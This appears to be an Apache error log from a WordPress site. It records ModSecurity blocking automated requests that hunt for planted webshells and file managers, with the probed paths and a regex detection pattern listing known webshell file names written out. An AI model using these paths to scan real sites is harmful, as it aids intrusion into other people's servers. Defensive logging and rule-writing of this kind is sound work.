[Fri Feb 27 11:11:23.231085 2026] [:error] [pid 62998:tid 63007] [client 64.64.108.55:61781] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaELW1QeueXZDUmoLolXSgAAAQU"]
[Fri Feb 27 11:11:24.965446 2026] [proxy_fcgi:error] [pid 54231:tid 54251] [client 64.64.108.64:32533] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:26.972491 2026] [proxy_fcgi:error] [pid 54231:tid 54234] [client 64.64.108.64:32533] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:27.547692 2026] [:error] [pid 54231:tid 54242] [client 64.64.108.64:32533] [client 64.64.108.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaELX-Tvb5AeyJCdY7BveQAAAEg"]
[Fri Feb 27 11:11:30.368474 2026] [proxy_fcgi:error] [pid 54101:tid 54127] [client 64.64.108.45:42647] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:31.476858 2026] [:error] [pid 54101:tid 54114] [client 64.64.108.45:42647] [client 64.64.108.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaELY1Y5qgRktcYTGFvkogAAAcY"]
[Fri Feb 27 11:11:33.020947 2026] [proxy_fcgi:error] [pid 62998:tid 63026] [client 64.64.108.62:58375] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:33.710285 2026] [:error] [pid 62998:tid 63016] [client 64.64.108.62:58375] [client 64.64.108.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "aaELZVQeueXZDUmoLolYAwAAAQ4"]
[Fri Feb 27 11:11:35.676836 2026] [:error] [pid 62998:tid 63011] [client 64.64.108.32:23151] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaELZ1QeueXZDUmoLolYPgAAAQk"]
[Fri Feb 27 11:11:37.164518 2026] [:error] [pid 56075:tid 56085] [client 64.64.108.32:43351] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaELacKBhrfI6KNv9RiDHAAAAAg"]
[Fri Feb 27 11:11:38.132307 2026] [:error] [pid 54103:tid 54195] [client 64.64.108.55:33019] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aaELauvG4MPCmE0B2sArPQAAANg"]
[Fri Feb 27 11:11:40.352147 2026] [:error] [pid 54231:tid 54234] [client 64.64.108.25:65125] [client 64.64.108.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaELbOTvb5AeyJCdY7Bv3QAAAEA"]
[Fri Feb 27 11:11:42.075458 2026] [:error] [pid 52073:tid 52093] [client 64.64.108.17:29805] [client 64.64.108.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaELboa650YPyxXVeRZdxQAAAZE"]
[Fri Feb 27 11:11:43.555468 2026] [:error] [pid 54101:tid 54113] [client 64.64.108.38:21545] [client 64.64.108.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaELb1Y5qgRktcYTGFvlPAAAAcU"]
[Fri Feb 27 11:11:45.536655 2026] [:error] [pid 54231:tid 54237] [client 64.64.108.17:32637] [client 64.64.108.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaELceTvb5AeyJCdY7BwGgAAAEM"]
[Fri Feb 27 11:11:47.156493 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 64.64.108.49:47369] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:48.057878 2026] [:error] [pid 52073:tid 52094] [client 64.64.108.49:47369] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaELdIa650YPyxXVeRZeRAAAAZI"]
[Fri Feb 27 11:11:49.019660 2026] [proxy_fcgi:error] [pid 56075:tid 56096] [client 64.64.108.25:27521] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:49.456455 2026] [proxy_fcgi:error] [pid 56075:tid 56093] [client 64.64.108.25:27521] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:50.116499 2026] [proxy_fcgi:error] [pid 56075:tid 56087] [client 64.64.108.25:27521] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:50.631201 2026] [:error] [pid 56075:tid 56096] [client 64.64.108.25:27521] [client 64.64.108.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaELdsKBhrfI6KNv9RiDlQAAABI"]
[Fri Feb 27 11:11:52.138451 2026] [:error] [pid 62998:tid 63006] [client 64.64.108.65:42551] [client 64.64.108.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "aaELeFQeueXZDUmoLolaKAAAAQQ"]
[Fri Feb 27 11:11:53.753079 2026] [:error] [pid 54101:tid 54132] [client 64.64.108.62:36267] [client 64.64.108.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaELeVY5qgRktcYTGFvlyQAAAdg"]
[Fri Feb 27 11:11:54.879445 2026] [proxy_fcgi:error] [pid 54103:tid 54195] [client 64.64.108.21:44499] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:55.479690 2026] [proxy_fcgi:error] [pid 54103:tid 54173] [client 64.64.108.21:44499] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:56.103640 2026] [proxy_fcgi:error] [pid 54103:tid 54195] [client 64.64.108.21:44499] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:56.644500 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 64.64.108.21:44499] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:11:58.030856 2026] [:error] [pid 54103:tid 54183] [client 64.64.108.21:44499] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aaELfuvG4MPCmE0B2sArxAAAAMw"]
[Fri Feb 27 11:11:59.673107 2026] [proxy_fcgi:error] [pid 54103:tid 54189] [client 64.64.108.45:22583] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:00.869455 2026] [proxy_fcgi:error] [pid 54103:tid 54185] [client 64.64.108.45:22583] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:01.376460 2026] [proxy_fcgi:error] [pid 54103:tid 54176] [client 64.64.108.45:22583] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:03.284752 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 64.64.108.45:22583] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:03.762952 2026] [:error] [pid 54103:tid 54193] [client 64.64.108.45:22583] [client 64.64.108.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaELg-vG4MPCmE0B2sAsBQAAANY"]
[Fri Feb 27 11:12:05.897462 2026] [proxy_fcgi:error] [pid 54102:tid 54165] [client 64.64.108.49:34959] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:06.462465 2026] [proxy_fcgi:error] [pid 54102:tid 54169] [client 64.64.108.49:34959] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:07.047183 2026] [:error] [pid 54102:tid 54154] [client 64.64.108.49:34959] [client 64.64.108.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aaELh3i74D4fiYUm_GcJ3wAAAIo"]
[Fri Feb 27 11:12:08.095615 2026] [:error] [pid 54102:tid 54150] [client 64.64.108.33:21763] [client 64.64.108.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaELiHi74D4fiYUm_GcJ7QAAAIY"]
[Fri Feb 27 11:12:09.293478 2026] [proxy_fcgi:error] [pid 62998:tid 63019] [client 64.64.108.22:30651] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:09.936987 2026] [proxy_fcgi:error] [pid 62998:tid 63006] [client 64.64.108.22:30651] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:10.363216 2026] [proxy_fcgi:error] [pid 62998:tid 63019] [client 64.64.108.22:30651] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:10.951017 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.22:30651] [client 64.64.108.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aaELilQeueXZDUmoLolbCAAAAQ0"]
[Fri Feb 27 11:12:12.086768 2026] [:error] [pid 49306:tid 49323] [client 64.64.108.42:52893] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaELjPnSUDZue59Px9tqdwAAAU8"]
[Fri Feb 27 11:12:13.216824 2026] [proxy_fcgi:error] [pid 52073:tid 52087] [client 64.64.108.60:27819] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:13.755501 2026] [proxy_fcgi:error] [pid 52073:tid 52079] [client 64.64.108.60:27819] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:14.343822 2026] [proxy_fcgi:error] [pid 52073:tid 52078] [client 64.64.108.60:27819] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:14.836113 2026] [:error] [pid 52073:tid 52087] [client 64.64.108.60:27819] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aaELjoa650YPyxXVeRZgFgAAAYs"]
[Fri Feb 27 11:12:16.581450 2026] [proxy_fcgi:error] [pid 56075:tid 56083] [client 64.64.108.47:35465] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:17.166826 2026] [:error] [pid 56075:tid 56097] [client 64.64.108.47:35465] [client 64.64.108.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaELkcKBhrfI6KNv9RiEogAAABM"]
[Fri Feb 27 11:12:18.289678 2026] [proxy_fcgi:error] [pid 62998:tid 63024] [client 64.64.108.40:22787] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:18.745818 2026] [:error] [pid 62998:tid 63021] [client 64.64.108.40:22787] [client 64.64.108.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaELklQeueXZDUmoLolbfAAAARM"]
[Fri Feb 27 11:12:20.436083 2026] [:error] [pid 54231:tid 54250] [client 64.64.108.27:52501] [client 64.64.108.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.27, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaELlOTvb5AeyJCdY7BxHAAAAFA"]
[Fri Feb 27 11:12:20.936472 2026] [proxy_fcgi:error] [pid 54231:tid 54247] [client 64.64.108.27:52501] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:21.355114 2026] [:error] [pid 54231:tid 54245] [client 64.64.108.27:52501] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaELleTvb5AeyJCdY7BxKAAAAEs"]
[Fri Feb 27 11:12:22.293941 2026] [:error] [pid 56075:tid 56078] [client 64.64.108.60:27337] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaELlsKBhrfI6KNv9RiE4QAAAAE"]
[Fri Feb 27 11:12:23.958459 2026] [proxy_fcgi:error] [pid 54231:tid 54243] [client 64.64.108.47:24385] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:24.353958 2026] [proxy_fcgi:error] [pid 54231:tid 54238] [client 64.64.108.47:24385] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:24.841049 2026] [:error] [pid 54231:tid 54241] [client 64.64.108.47:24385] [client 64.64.108.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aaELmOTvb5AeyJCdY7BxSwAAAEc"]
[Fri Feb 27 11:12:25.935473 2026] [proxy_fcgi:error] [pid 52073:tid 52076] [client 64.64.108.32:27595] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:26.360656 2026] [:error] [pid 52073:tid 52087] [client 64.64.108.32:27595] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaELmoa650YPyxXVeRZg1gAAAYs"]
[Fri Feb 27 11:12:27.746352 2026] [proxy_fcgi:error] [pid 54102:tid 54145] [client 64.64.108.25:53117] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:28.337464 2026] [proxy_fcgi:error] [pid 54102:tid 54152] [client 64.64.108.25:53117] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:28.937445 2026] [proxy_fcgi:error] [pid 54102:tid 54146] [client 64.64.108.25:53117] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:29.455440 2026] [proxy_fcgi:error] [pid 54102:tid 54164] [client 64.64.108.25:53117] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:31.156009 2026] [proxy_fcgi:error] [pid 54102:tid 54168] [client 64.64.108.25:53117] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:32.440309 2026] [:error] [pid 54102:tid 54156] [client 64.64.108.25:53117] [client 64.64.108.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aaELoHi74D4fiYUm_GcLNgAAAIw"]
[Fri Feb 27 11:12:33.781492 2026] [proxy_fcgi:error] [pid 56075:tid 56077] [client 64.64.108.32:41273] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:34.956461 2026] [proxy_fcgi:error] [pid 56075:tid 56085] [client 64.64.108.32:41273] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:35.551765 2026] [proxy_fcgi:error] [pid 56075:tid 56092] [client 64.64.108.32:41273] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:37.161466 2026] [proxy_fcgi:error] [pid 56075:tid 56084] [client 64.64.108.32:41273] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:37.933270 2026] [proxy_fcgi:error] [pid 56075:tid 56094] [client 64.64.108.32:41273] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:39.042602 2026] [:error] [pid 56075:tid 56077] [client 64.64.108.32:41273] [client 64.64.108.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aaELp8KBhrfI6KNv9RiFjwAAAAA"]
[Fri Feb 27 11:12:40.178950 2026] [:error] [pid 54103:tid 54185] [client 64.64.108.28:35105] [client 64.64.108.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aaELqOvG4MPCmE0B2sAtJgAAAM4"]
[Fri Feb 27 11:12:40.749554 2026] [:error] [pid 54103:tid 54187] [client 64.64.108.28:35105] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aaELqOvG4MPCmE0B2sAtKwAAANA"]
[Fri Feb 27 11:12:43.377529 2026] [proxy_fcgi:error] [pid 56075:tid 56077] [client 64.64.108.56:54889] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:45.213140 2026] [proxy_fcgi:error] [pid 56075:tid 56084] [client 64.64.108.56:54889] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:46.346321 2026] [:error] [pid 56075:tid 56093] [client 64.64.108.56:54889] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaELrsKBhrfI6KNv9RiF9gAAAA8"]
[Fri Feb 27 11:12:47.498293 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:48.037686 2026] [:error] [pid 54103:tid 54185] [client 64.64.108.44:37313] [client 64.64.108.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.44, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aaELsOvG4MPCmE0B2sAtewAAAM4"]
[Fri Feb 27 11:12:48.649443 2026] [proxy_fcgi:error] [pid 54103:tid 54174] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:49.772854 2026] [proxy_fcgi:error] [pid 54103:tid 54194] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:50.294469 2026] [proxy_fcgi:error] [pid 54103:tid 54185] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:50.860474 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:51.468821 2026] [proxy_fcgi:error] [pid 54103:tid 54172] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:52.160745 2026] [proxy_fcgi:error] [pid 54103:tid 54185] [client 64.64.108.44:37313] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:52.754644 2026] [:error] [pid 54103:tid 54183] [client 64.64.108.44:37313] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aaELtOvG4MPCmE0B2sAtnwAAAMw"]
[Fri Feb 27 11:12:54.379947 2026] [:error] [pid 62998:tid 63013] [client 64.64.108.44:27425] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aaELtlQeueXZDUmoLolehwAAAQs"]
[Fri Feb 27 11:12:55.490540 2026] [proxy_fcgi:error] [pid 56075:tid 56101] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:55.997474 2026] [proxy_fcgi:error] [pid 56075:tid 56078] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:56.467541 2026] [proxy_fcgi:error] [pid 56075:tid 56095] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:12:57.753473 2026] [proxy_fcgi:error] [pid 56075:tid 56095] [client 64.64.108.33:53033] AH01071: Got error 'Primary script unknown'
